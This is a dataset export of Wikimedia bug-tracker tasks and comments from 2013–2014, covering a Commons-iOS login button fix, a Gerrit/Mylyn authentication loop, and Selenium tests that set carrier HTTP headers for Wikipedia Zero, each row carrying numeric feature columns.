**Severity**: normal",Needs Triage,90.0,1368822240,1369166376.0,PHID-USER-qmantxp3p7omhisp3qgq,False,,False,PHID-TASK-w2nwbppgvbp6nfscz6ot,task_description,resolved,True,c2,1,False,False,True,-15,True,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,9.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,7.0,5.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8863636363636362,0.7727272727272727,"Login button can be pressed even when no username and password are fill in. Let's disable it until the we have some text.

--------------------------
**Version**: unspecified
**Severity**: normal"
232657,Disable login until username and password are filled in,"Monte did this fix, was merged: https://github.com/wikimedia/Commons-iOS/pull/73",,,1369166376,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-w2nwbppgvbp6nfscz6ot,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,1.0,"Monte did this fix, was merged: URL"
50362,Gerrit Loops on HTTP Authentication,"**Author:** `david.narvaez`

**Description:**


--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: https://gerrit-review.googlesource.com/#/c/44930/",Needs Triage,90.0,1368302220,1368408110.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-5mh2yboxecgfikjq5c7o,task_description,invalid,True,c2,1,False,False,True,-16,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.025,0.425,"**Author:** CODE

**Description:**


--------------------------
**Version**: wmf-deployment
**Severity**: normal
**URL**: URL"
219041,Gerrit Loops on HTTP Authentication,"**david.narvaez** wrote:

It doe(In reply to comment #6)
> As reported on
> 
>   http://lists.wikimedia.org/pipermail/wikitech-l/2013-September/071862.html
> 
> it seems that latest nightlies of mylyn review come with support for newer
> gerrits and can be used to connect to our gerrit again \o/

It doesn't support inline comments yet, but it is in the works.",,,1380122469,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,3,False,,,4,True,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,7.0,5.0,9.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.1818181818181817,0.6590909090909091,"**david.narvaez** wrote:

It doe(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

It doesn't support inline comments yet, but it is in the works."
219034,Gerrit Loops on HTTP Authentication,"As reported on

  http://lists.wikimedia.org/pipermail/wikitech-l/2013-September/071862.html

it seems that latest nightlies of mylyn review come with support for newer
gerrits and can be used to connect to our gerrit again \o/",,,1379523926,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,3,False,,,3,True,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,25.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,25.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,4.09375,0.96875,"As reported on

  URL

it seems that latest nightlies of mylyn review come with support for newer
gerrits and can be used to connect to our gerrit again \o/"
219030,Gerrit Loops on HTTP Authentication,"**david.narvaez** wrote:

(In reply to comment #4)
> The patch for this issue has already been included in our gerrit
> some time ago.

Great, that's really what I needed to know. I'll close this bug then, since it is invalid.

> (In reply to comment #3)
> The (still open) bug at
>   https://bugs.eclipse.org/bugs/show_bug.cgi?id=395059
> that you mentioned states that Mylyn's Gerrit connector has not yet
> been ported to the new RPC infrastructure that comes with Gerrit 2.6.

Yes, my concern was that, even if I wanted to hack Egit's source to connect Mylyn with Wikimedia's Gerrit, the other bug would still bite me.",,,1368408110,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,6.0,0.0,5.0,10.0,0.0,5.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,1.0,1.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,20.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,7.0,1.0,1.0,0.0,7.0,10.0,9.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,3.2413793103448274,0.632183908045977,"**david.narvaez** wrote:

(In reply to comment #4)
QUOTE
QUOTE

Great, that's really what I needed to know. I'll close this bug then, since it is invalid.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yes, my concern was that, even if I wanted to hack Egit's source to connect Mylyn with Wikimedia's Gerrit, the other bug would still bite me."
219024,Gerrit Loops on HTTP Authentication,"(In reply to comment #1)
> https://code.google.com/p/gerrit/issues/detail?id=1862
> 
> which was fixed later for the 2.6 release. Would it be possible to upgrade
> the installation?

The patch for this issue has already been included in our gerrit
some time ago.

(In reply to comment #3)
> > Which URL does not work for you?
> [...]
> I found this issue while trying to connect my Eclipse Mylyn.

Is the bug about Mylyn's Gerrit connector not being able to
validate
  http://gerrit.wikimedia.org/r
as task repository?

If so, our gerrit isn't too old, but to new :-)
The (still open) bug at
  https://bugs.eclipse.org/bugs/show_bug.cgi?id=395059
that you mentioned states that Mylyn's Gerrit connector has not yet
been ported to the new RPC infrastructure that comes with Gerrit 2.6.",,,1368344308,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,1,False,,,-16,True,0.5,0.0,0.0,1.5,2.0,4.5,1.0,0.0,0.0,1.0,2.5,1.0,0.0,0.0,0.0,1.5,0.0,6.5,10.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,1.0,1.0,11.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,2.5,3.0,13.0,2.5,1.0,3.5,0.0,1.0,0.0,1.0,2.0,0.0,2.0,0.0,2.0,10.5,6.5,1.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3993918561607614,0.7161554732945532,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE

The patch for this issue has already been included in our gerrit
some time ago.

(In reply to comment #3)
QUOTE
QUOTE
QUOTE

Is the bug about Mylyn's Gerrit connector not being able to
validate
  URL
as task repository?

If so, our gerrit isn't too old, but to new :-)
The (still open) bug at
  URL
that you mentioned states that Mylyn's Gerrit connector has not yet
been ported to the new RPC infrastructure that comes with Gerrit 2.6."
219020,Gerrit Loops on HTTP Authentication,"**david.narvaez** wrote:

(In reply to comment #2)
> Which URL does not work for you?

Check the comment at

https://bugs.eclipse.org/bugs/show_bug.cgi?id=395059#c3

I found this issue while trying to connect my Eclipse Mylyn.",,,1368307371,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,13.0,0.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,3.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,5.0,13.0,8.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.3421052631578947,0.7894736842105263,"**david.narvaez** wrote:

(In reply to comment #2)
QUOTE

Check the comment at

URL

I found this issue while trying to connect my Eclipse Mylyn."
219016,Gerrit Loops on HTTP Authentication,"I am not completely sure what you are referring to, as the bug you
link to refers to auth.type = http. While puppet tells me that we're
on ldap.

But since the bug you mentioned is about circular redirects, I tried
navigating to
  https://gerrit.wikimedia.org
. That correctly takes me to
  https://gerrit.wikimedia.org/r/#/
and I get to see my dashboard. Looks correct.

If I am not logged in, navigating to
  https://gerrit.wikimedia.org
takes me to
  https://gerrit.wikimedia.org/r/#/q/status:open,n,z
and I get to see the changes with open status. Looks correct as well.
Clicking on „Sign in” on that page takes me to
  https://gerrit.wikimedia.org/r/login/q/status:open,n,z
and I can enter my LDAP credentials to log in. Upon logging in, I am
forwarded again to
  https://gerrit.wikimedia.org/r/#/q/status:open,n,z
, which also looks correct.

So I cannot reproduce circular redirects.

Which URL does not work for you?",,,1368307163,,PHID-USER-pntojlcbclwhuip53bix,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.5,0.5,2.0,4.0,0.5,0.0,0.0,0.5,3.5,0.5,0.0,0.0,0.0,8.0,1.0,6.0,15.0,0.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,9.5,1.0,0.0,0.5,2.0,0.0,0.5,3.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.5,2.5,14.5,2.5,2.0,4.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,10.0,15.0,4.5,0.5,0.0,0.0,10.0,0.0,1.5,0.0,2.0,2.5,0.0,0.0,0.0,3.367816091954023,0.632183908045977,"I am not completely sure what you are referring to, as the bug you
link to refers to auth.type = http. While puppet tells me that we're
on ldap.

But since the bug you mentioned is about circular redirects, I tried
navigating to
  URL
. That correctly takes me to
  URL
and I get to see my dashboard. Looks correct.

If I am not logged in, navigating to
  URL
takes me to
  URL
and I get to see the changes with open status. Looks correct as well.
Clicking on „Sign in” on that page takes me to
  URL
and I can enter my LDAP credentials to log in. Upon logging in, I am
forwarded again to
  URL
, which also looks correct.

So I cannot reproduce circular redirects.

Which URL does not work for you?"
219008,Gerrit Loops on HTTP Authentication,"**david.narvaez** wrote:

I'm afraid that the current installation of Gerrit is affected by the issue described here

https://code.google.com/p/gerrit/issues/detail?id=1862

which was fixed later for the 2.6 release. Would it be possible to upgrade the installation? Or at least patch it against this issue?",,,1368302542,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5mh2yboxecgfikjq5c7o,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,4.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,13.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,6.0,9.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.0,13.0,4.0,4.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,4.037037037037037,0.7777777777777778,"**david.narvaez** wrote:

I'm afraid that the current installation of Gerrit is affected by the issue described here

URL

which was fixed later for the 2.6 release. Would it be possible to upgrade the installation? Or at least patch it against this issue?"
50218,Investigate how to fake HTTP headers,"Zero team uses a HTTP header to fake IPs. Until they implement a different way of faking IPs, investigate if Selenium can fake HTTP headers.

--------------------------
**Version**: unspecified
**Severity**: normal
**Whiteboard**: gci2013 https://www.mediawiki.org/wiki/Google_Code-In#Candidate_tasks
**URL**: https://www.google-melange.com/gci/task/view/google/gci2013/5854732451053568",Needs Triage,90.0,1367945640,1393020067.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-weoizjzlqc7lrtlirml7,task_description,resolved,True,c2,1,False,False,False,-17,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,21.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,8.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.5873015873015874,0.5555555555555556,"Zero team uses a HTTP header to fake IPs. Until they implement a different way of faking IPs, investigate if Selenium can fake HTTP headers.

--------------------------
**Version**: unspecified
**Severity**: normal
**Whiteboard**: gci2013 URL
**URL**: URL"
210622,Investigate how to fake HTTP headers,"Change 114153 merged by jenkins-bot:
Added links for ZeroRatedMobileAccess repository

https://gerrit.wikimedia.org/r/114153",,,1392840654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,25,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5625,1.0,"Change 114153 merged by jenkins-bot:
Added links for ZeroRatedMobileAccess repository

GERRIT_URL"
210616,Investigate how to fake HTTP headers,"Change 106709 merged by jenkins-bot:
The first Selenium test: banners

https://gerrit.wikimedia.org/r/106709",,,1392836362,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,25,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,24.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.294117647058823,0.9411764705882353,"Change 106709 merged by jenkins-bot:
The first Selenium test: banners

GERRIT_URL"
210610,Investigate how to fake HTTP headers,"Change 114153 had a related patch set uploaded by Zfilipin:
Added links for ZeroRatedMobileAccess repository

https://gerrit.wikimedia.org/r/114153",,,1392823235,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,25,True,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.631578947368421,1.0,"Change 114153 had a related patch set uploaded by Zfilipin:
Added links for ZeroRatedMobileAccess repository

GERRIT_URL"
210606,Investigate how to fake HTTP headers,"This is now implemented in https://gerrit.wikimedia.org/r/#/c/106709/

Please take a look and merge into ZeroRatedMobileAccess.",,,1392639008,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,24,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,25.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.75,1.0,"This is now implemented in URL

Please take a look and merge into ZeroRatedMobileAccess."
210600,Investigate how to fake HTTP headers,"Change 101485 abandoned by Zfilipin:
WIP: Adding a test to check if supplying custom headers works

Reason:
Moved to https://gerrit.wikimedia.org/r/#/c/106709/

https://gerrit.wikimedia.org/r/101485",,,1392629576,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,29.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,4.142857142857143,0.8214285714285714,"Change 101485 abandoned by Zfilipin:
WIP: Adding a test to check if supplying custom headers works

Reason:
Moved to URL

GERRIT_URL"
210594,Investigate how to fake HTTP headers,"Change 106709 had a related patch set uploaded by Zfilipin:
Adding Cucumber tests First cucumber test for checking the banners on Wikipedia Zero.

https://gerrit.wikimedia.org/r/106709",,,1392393512,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,24,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,29.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,4.857142857142857,1.0,"Change 106709 had a related patch set uploaded by Zfilipin:
Adding Cucumber tests First cucumber test for checking the banners on Wikipedia Zero.

GERRIT_URL"
210588,Investigate how to fake HTTP headers,*** Bug 61379 has been marked as a duplicate of this bug. ***,,,1392393381,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,24,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 61379 has been marked as a duplicate of this bug. ***
210583,Investigate how to fake HTTP headers,"Change 101485 had a related patch set uploaded by Mayankmadan:
Adding a test to check if supplying custom headers works

https://gerrit.wikimedia.org/r/101485",,,1387022719,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,17.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,4.708333333333333,0.9583333333333334,"Change 101485 had a related patch set uploaded by Mayankmadan:
Adding a test to check if supplying custom headers works

GERRIT_URL"
210578,Investigate how to fake HTTP headers,"We currently built a workaround in production, allowing header values to also be passed as URL params. This is obviously a hack, but has worked more or less ok, as long as we don't test what happens after the click (URL params are not preserved via links)

Here is an example, but this URL ONLY works if you don't have forceHTTPS or other cookies set - use privacy browser when testing:

http://en.m.wikipedia.org/wiki/Special:ZeroRatedMobileAccess?X-CS=-TEST-ALL

That same X-CS could be passed as a header, making testing check if the site shows proper behavior after clicking.

If some other carrier was used, for example X-CS=250-99 -- https://meta.wikimedia.org/wiki/Zero:250-99 -- they only whitelist en & ru, which means navigating to other languages should not show the banner.

Let me know if you have any questions!",,,1386965303,,PHID-USER-esrrkc2rlizdlae443wg,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,15,True,1.5,0.0,0.0,2.5,2.0,3.5,1.0,0.0,0.0,2.5,2.5,1.0,0.0,1.0,0.0,1.5,0.5,8.0,8.0,0.0,0.5,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,6.5,3.0,0.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,19.0,0.5,1.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,0.5,2.0,0.5,0.0,0.5,0.0,0.0,4.0,3.5,9.5,3.0,2.5,7.5,0.0,0.0,0.5,0.0,4.0,0.0,2.0,0.0,3.5,8.0,2.0,0.0,0.0,0.0,3.5,0.0,2.0,2.0,0.5,2.5,1.0,0.0,0.0,3.782051282051282,0.8141025641025641,"We currently built a workaround in production, allowing header values to also be passed as URL params. This is obviously a hack, but has worked more or less ok, as long as we don't test what happens after the click (URL params are not preserved via links)

Here is an example, but this URL ONLY works if you don't have forceHTTPS or other cookies set - use privacy browser when testing:

URL

That same X-CS could be passed as a header, making testing check if the site shows proper behavior after clicking.

If some other carrier was used, for example X-CS=250-99 -- URL -- they only whitelist en & ru, which means navigating to other languages should not show the banner.

Let me know if you have any questions!"
210573,Investigate how to fake HTTP headers,"Yuri, can you provide more detail?

Mayank (Google Code-in student) is working on this. He needs an example that he will implement.",,,1386947837,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-weoizjzlqc7lrtlirml7,task_subcomment,,True,c2,3,False,,,15,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,16.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,10.0,10.0,13.0,3.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,3.5806451612903225,0.967741935483871,"Yuri, can you provide more detail?

Mayank (Google Code-in student) is working on this. He needs an example that he will implement."
